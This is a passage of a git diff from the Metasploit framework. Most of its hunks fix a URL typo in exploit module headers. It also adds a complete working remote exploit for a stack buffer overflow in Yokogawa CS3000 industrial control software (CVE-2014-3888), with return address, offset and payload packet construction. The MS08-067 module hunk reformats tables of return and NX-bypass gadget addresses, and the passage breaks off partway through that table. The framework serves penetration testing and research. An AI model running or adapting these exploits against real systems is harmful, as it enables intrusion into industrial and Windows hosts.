b/modules/exploits/windows/scada/daq_factory_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/factorylink_csservice.rb b/modules/exploits/windows/scada/factorylink_csservice.rb index c407ccc27d..d9ccff31a2 100644 --- a/modules/exploits/windows/scada/factorylink_csservice.rb +++ b/modules/exploits/windows/scada/factorylink_csservice.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/factorylink_vrn_09.rb b/modules/exploits/windows/scada/factorylink_vrn_09.rb index 54a840d8de..01c93d561f 100644 --- a/modules/exploits/windows/scada/factorylink_vrn_09.rb +++ b/modules/exploits/windows/scada/factorylink_vrn_09.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb index 4ad7445083..8afbdce80d 100644 --- a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb +++ b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -228,7 +228,7 @@ class Metasploit3 < Msf::Exploit::Remote exe = generate_payload_exe # Padding to be sure we're aligned to 4 bytes. exe << "\x00" until exe.length % 4 == 0 - longs = exe.unpack("l*") + longs = exe.unpack("V*") offset = 0 # gefebt.exe isn't able to handle (on my test environment) long diff --git a/modules/exploits/windows/scada/iconics_genbroker.rb b/modules/exploits/windows/scada/iconics_genbroker.rb index 17fc9ce8c5..13b9ae70c8 100644 --- a/modules/exploits/windows/scada/iconics_genbroker.rb +++ b/modules/exploits/windows/scada/iconics_genbroker.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb index 4b3ddc68f4..76d3ba0e37 100644 --- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb +++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb index e047d84024..5e5d0fe856 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb index 1e1c2b963d..aa2097f34f 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/igss9_misc.rb b/modules/exploits/windows/scada/igss9_misc.rb index 1e8a14043b..41ba050c1b 100644 --- a/modules/exploits/windows/scada/igss9_misc.rb +++ b/modules/exploits/windows/scada/igss9_misc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/igss_exec_17.rb b/modules/exploits/windows/scada/igss_exec_17.rb index df75ffd2f4..ebd1fce53c 100644 --- a/modules/exploits/windows/scada/igss_exec_17.rb +++ b/modules/exploits/windows/scada/igss_exec_17.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb index addf1d8f3a..2c4fa65f6b 100644 --- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb +++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb index 17fb86e0cb..9ac1d96811 100644 --- a/modules/exploits/windows/scada/moxa_mdmtool.rb +++ b/modules/exploits/windows/scada/moxa_mdmtool.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb index 8ab2174d7f..1d592b5fec 100644 --- a/modules/exploits/windows/scada/procyon_core_server.rb +++ b/modules/exploits/windows/scada/procyon_core_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin.rb b/modules/exploits/windows/scada/realwin.rb index f527ab26b0..bb08a5045c 100644 --- a/modules/exploits/windows/scada/realwin.rb +++ b/modules/exploits/windows/scada/realwin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb index 7be3e9a8a2..49bdb98f4c 100644 --- a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb +++ b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_on_fcs_login.rb b/modules/exploits/windows/scada/realwin_on_fcs_login.rb index 1560557fd9..3659a25bcb 100644 --- a/modules/exploits/windows/scada/realwin_on_fcs_login.rb +++ b/modules/exploits/windows/scada/realwin_on_fcs_login.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize.rb b/modules/exploits/windows/scada/realwin_scpc_initialize.rb index 666baacf0f..6639e8f9d1 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb index 0a4b1f9ba7..ae8957925b 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb index f1505f26dd..1ea64e355b 100644 --- a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb +++ b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index 45b020ee72..fe99df9652 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb index aa4537b426..1360a3e0d3 100644 --- a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb +++ b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb index f57cd6f14a..9dc542a090 100644 --- a/modules/exploits/windows/scada/winlog_runtime.rb +++ b/modules/exploits/windows/scada/winlog_runtime.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index f05b46dc0a..0109243f25 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb index 410eecec0d..50988b7a1e 100644 --- a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb index 0fbfa732aa..18c48e6ff9 100644 --- a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb new file mode 100644 index 0000000000..5cef7ab51a --- /dev/null +++ b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow', + 'Description' => %q{ + This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability + exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create + logs using functions like vsprintf and memcpy in a insecure way. This module has been + tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3. + }, + 'Author' => + [ + 'Redsadic ', + 'juan vazquez' + ], + 'References' => + [ + ['CVE', '2014-3888'], + ['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'], + ['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow'] + ], + 'Payload' => + { + 'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret) + 'DisableNops' => true, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3', + { + 'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll + 'Offset' => 438 + } + ], + ], + 'DisclosureDate' => 'May 23 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(20010) + ], self.class) + end + + def exploit + connect_udp + + sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header + sploit << rand_text(target['Offset']) + sploit << [target.ret].pack("V") + sploit << payload.encoded + + print_status("Trying target #{target.name}, sending #{sploit.length} bytes...") + udp_sock.put(sploit) + + disconnect_udp + end + +end + diff --git a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb index cc6166ad9d..4766596f52 100644 --- a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/sip/aim_triton_cseq.rb b/modules/exploits/windows/sip/aim_triton_cseq.rb index 54e9046134..12e2bf20af 100644 --- a/modules/exploits/windows/sip/aim_triton_cseq.rb +++ b/modules/exploits/windows/sip/aim_triton_cseq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/sip/sipxezphone_cseq.rb b/modules/exploits/windows/sip/sipxezphone_cseq.rb index e3d33e40c1..c26d264abb 100644 --- a/modules/exploits/windows/sip/sipxezphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxezphone_cseq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/sip/sipxphone_cseq.rb b/modules/exploits/windows/sip/sipxphone_cseq.rb index 09e1612b28..ae66736206 100644 --- a/modules/exploits/windows/sip/sipxphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxphone_cseq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb index d735e69aac..3bf00f05d6 100644 --- a/modules/exploits/windows/smb/ms03_049_netapi.rb +++ b/modules/exploits/windows/smb/ms03_049_netapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index febfe8715f..7c125a2371 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb index c8c9d7f54d..951d22c5a2 100644 --- a/modules/exploits/windows/smb/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb index e126e6e843..f985b40e7f 100644 --- a/modules/exploits/windows/smb/ms04_031_netdde.rb +++ b/modules/exploits/windows/smb/ms04_031_netdde.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb index f63c7598b4..9e978f40b5 100644 --- a/modules/exploits/windows/smb/ms05_039_pnp.rb +++ b/modules/exploits/windows/smb/ms05_039_pnp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb index 87ecb8022f..db8d4bb5c2 100644 --- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb +++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index de5c750616..62f2c5845b 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. }, 'Author' => [ - 'Nicolas Pouvesle ', + 'Nicolas Pouvesle ', 'hdm' ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb index 44f510af39..f9e8cde4ad 100644 --- a/modules/exploits/windows/smb/ms06_040_netapi.rb +++ b/modules/exploits/windows/smb/ms06_040_netapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb index 665e4bcd2f..9b96ebf279 100644 --- a/modules/exploits/windows/smb/ms06_066_nwapi.rb +++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb index 84802df58f..8f3a1e1f91 100644 --- a/modules/exploits/windows/smb/ms06_066_nwwks.rb +++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb index 2d7152cd73..bc3c5fb11a 100644 --- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb +++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb index 7c8c494da6..d652f02644 100644 --- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index 9c83a3e43b..a115dae584 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -1,20 +1,16 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' - class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB - def initialize(info = {}) super(update_info(info, 'Name' => 'MS08-067 Microsoft Server Service Relative Path Stack Corruption', @@ -32,17 +28,17 @@ class Metasploit3 < Msf::Exploit::Remote [ 'hdm', # with tons of input/help/testing from the community 'Brett Moore ', - 'frank2 ', # check() detection + 'frank2 ', # check() detection 'jduck', # XP SP2/SP3 AlwaysOn DEP bypass ], 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2008-4250'], - [ 'OSVDB', '49243'], - [ 'MSB', 'MS08-067' ], + %w(CVE 2008-4250), + %w(OSVDB 49243), + %w(MSB MS08-067), # If this vulnerability is found, ms08-67 is exposed as well - [ 'URL', 'http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos'] + ['URL', 'http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos'] ], 'DefaultOptions' => { @@ -64,8 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote # # Automatic targetting via fingerprinting # - [ 'Automatic Targeting', { 'auto' => true } ], - + ['Automatic Targeting', { 'auto' => true }], # # UNIVERSAL TARGETS @@ -75,22 +70,22 @@ class Metasploit3 < Msf::Exploit::Remote # Antoine's universal for Windows 2000 # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET # - [ 'Windows 2000 Universal', - { - 'Ret' => 0x001f1cb0, - 'Scratch' => 0x00020408, - } + ['Windows 2000 Universal', + { + 'Ret' => 0x001f1cb0, + 'Scratch' => 0x00020408, + } ], # JMP EDI SVCHOST.EXE # # Standard return-to-ESI without NX bypass # Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET # - [ 'Windows XP SP0/SP1 Universal', - { - 'Ret' => 0x01001361, - 'Scratch' => 0x00020408, - } + ['Windows XP SP0/SP1 Universal', + { + 'Ret' => 0x01001361, + 'Scratch' => 0x00020408, + } ], # JMP ESI SVCHOST.EXE # @@ -98,116 +93,112 @@ class Metasploit3 < Msf::Exploit::Remote # # jduck's AlwaysOn NX Bypass for XP SP2 - [ 'Windows XP SP2 English (AlwaysOn NX)', - { - # No pivot is needed, we drop into our rop - 'Scratch' => 0x00020408, - 'UseROP' => '5.1.2600.2180' - } + ['Windows XP SP2 English (AlwaysOn NX)', + { + # No pivot is needed, we drop into our rop + 'Scratch' => 0x00020408, + 'UseROP' => '5.1.2600.2180' + } ], # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP2 English (NX)', - { - 'Ret' => 0x6f88f727, - 'DisableNX' => 0x6f8916e2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP2 English (NX)', + { + 'Ret' => 0x6f88f727, + 'DisableNX' => 0x6f8916e2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL - # jduck's AlwaysOn NX Bypass for XP SP3 - [ 'Windows XP SP3 English (AlwaysOn NX)', - { - # No pivot is needed, we drop into our rop - 'Scratch' => 0x00020408, - 'UseROP' => '5.1.2600.5512' - } + ['Windows XP SP3 English (AlwaysOn NX)', + { + # No pivot is needed, we drop into our rop + 'Scratch' => 0x00020408, + 'UseROP' => '5.1.2600.5512' + } ], # Metasploit's NX bypass for XP SP2/SP3 - [ 'Windows XP SP3 English (NX)', - { - 'Ret' => 0x6f88f807, - 'DisableNX' => 0x6f8917c2, - 'Scratch' => 0x00020408 - } + ['Windows XP SP3 English (NX)', + { + 'Ret' => 0x6f88f807, + 'DisableNX' => 0x6f8917c2, + 'Scratch' => 0x00020408 + } ], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP0 Universal', - { - 'Ret' => 0x0100129e, - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP0 Universal', + { + 'Ret' => 0x0100129e, + 'Scratch' => 0x00020408, + } ], # JMP ESI SVCHOST.EXE - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP1 English (NO NX)', - { - 'Ret' => 0x71bf21a2, - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP1 English (NO NX)', + { + 'Ret' => 0x71bf21a2, + 'Scratch' => 0x00020408, + } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP1 - [ 'Windows 2003 SP1 English (NX)', - { - 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL - 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } - ], - - - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP1 Japanese (NO NX)', - { - 'Ret' => 0x71a921a2, - 'Scratch' => 0x00020408, - } - ], # JMP ESI WS2HELP.DLL - - - # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP2 English (NO NX)', - { - 'Ret' => 0x71bf3969, - 'Scratch' => 0x00020408, - } - ], # JMP ESI WS2HELP.DLL - - # Brett Moore's crafty NX bypass for 2003 SP2 - [ 'Windows 2003 SP2 English (NX)', - { - 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL - 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP1 English (NX)', + { + 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL + 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } ], # Standard return-to-ESI without NX bypass - [ 'Windows 2003 SP2 German (NO NX)', - { - 'Ret' => 0x71a03969, - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP1 Japanese (NO NX)', + { + 'Ret' => 0x71a921a2, + 'Scratch' => 0x00020408, + } + ], # JMP ESI WS2HELP.DLL + + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP2 English (NO NX)', + { + 'Ret' => 0x71bf3969, + 'Scratch' => 0x00020408, + } ], # JMP ESI WS2HELP.DLL # Brett Moore's crafty NX bypass for 2003 SP2 - [ 'Windows 2003 SP2 German (NX)', - { - 'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL - 'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL - 'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL - 'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL - 'Scratch' => 0x00020408, - } + ['Windows 2003 SP2 English (NX)', + { + 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL + 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL + 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL + 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL + 'Scratch' => 0x00020408, + } + ], + + # Standard return-to-ESI without NX bypass + ['Windows 2003 SP2 German (NO NX)', + { + 'Ret' => 0x71a03969, + 'Scratch' => 0x00020408, + } + ], # JMP ESI WS2HELP.DLL + + # Brett Moore's crafty NX bypass for 2003 SP2 + ['Windows 2003 SP2 German (NX)', + { + 'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL + 'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret 